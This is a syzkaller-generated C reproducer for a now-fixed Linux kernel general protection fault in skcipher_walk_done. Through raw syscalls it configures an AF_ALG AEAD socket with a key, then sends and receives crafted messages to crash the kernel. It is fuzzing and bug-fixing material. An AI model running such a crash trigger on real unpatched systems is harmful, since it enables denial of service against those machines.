syzkaller-repros/linux/40fac1a3da1e12eb0893f02d8037825588feaabb.c

// general protection fault in skcipher_walk_done
// https://syzkaller.appspot.com/bug?id=40fac1a3da1e12eb0893f02d8037825588feaabb
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

long r[2];
void loop()
{
  memset(r, -1, sizeof(r));
  syscall(__NR_mmap, 0x20000000, 0xf98000, 3, 0x32, -1, 0);
  r[0] = syscall(__NR_socket, 0x26, 5, 0);
  *(uint16_t*)0x2016b000 = 0x26;
  memcpy((void*)0x2016b002,
         "\x61\x65\x61\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 14);
  *(uint32_t*)0x2016b010 = 0x20f;
  *(uint32_t*)0x2016b014 = 0;
  memcpy((void*)0x2016b018,
         "\x72\x66\x63\x37\x35\x33\x39\x28\x63\x74\x72\x28\x61\x65\x73\x29\x2c"
         "\x73\x68\x61\x35\x31\x32\x2d\x61\x76\x78\x32\x29\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
         64);
  syscall(__NR_bind, r[0], 0x2016b000, 0x58);
  memcpy((void*)0x203c1000, "\x0a\x07\x75\xb0\xd5\xe3\x83\xe5\xb3\xb6\x0c\xed"
                            "\x5c\x54\xdb\xb7\x29\x5d\xf0\xdf\x82\x17\xad\x40"
                            "\x00\x00\x00\x00\x00\x00\x00\xe6",
         32);
  syscall(__NR_setsockopt, r[0], 0x117, 1, 0x203c1000, 0x20);
  r[1] = syscall(__NR_accept, r[0], 0, 0);
  *(uint64_t*)0x20081000 = 0;
  *(uint32_t*)0x20081008 = 0;
  *(uint64_t*)0x20081010 = 0x20f87ff0;
  *(uint64_t*)0x20081018 = 1;
  *(uint64_t*)0x20081020 = 0x207da000;
  *(uint64_t*)0x20081028 = 0;
  *(uint32_t*)0x20081030 = 0;
  *(uint64_t*)0x20f87ff0 = 0x201c9000;
  *(uint64_t*)0x20f87ff8 = 0x20;
  memcpy((void*)0x201c9000, "\x5d\xfb\xc3\x3d\xc1\x9c\xb8\x70\x84\x3d\xf3\x02"
                            "\x73\xb3\x81\xfa\xa8\xd6\x2a\x74\xea\xc9\x3d\x92"
                            "\x5f\x73\x14\x76\x83\xc8\x0e\x60",
         32);
  syscall(__NR_sendmsg, r[1], 0x20081000, 0);
  *(uint64_t*)0x205f4fc8 = 0x20f91000;
  *(uint32_t*)0x205f4fd0 = 0x58;
  *(uint64_t*)0x205f4fd8 = 0x20f91f80;
  *(uint64_t*)0x205f4fe0 = 1;
  *(uint64_t*)0x205f4fe8 = 0x20000000;
  *(uint64_t*)0x205f4ff0 = 0;
  *(uint32_t*)0x205f4ff8 = 0;
  *(uint64_t*)0x20f91f80 = 0x20196fd7;
  *(uint64_t*)0x20f91f88 = 0x29;
  syscall(__NR_recvmsg, r[1], 0x205f4fc8, 0x40000060);
}

int main()
{
  loop();
  return 0;
}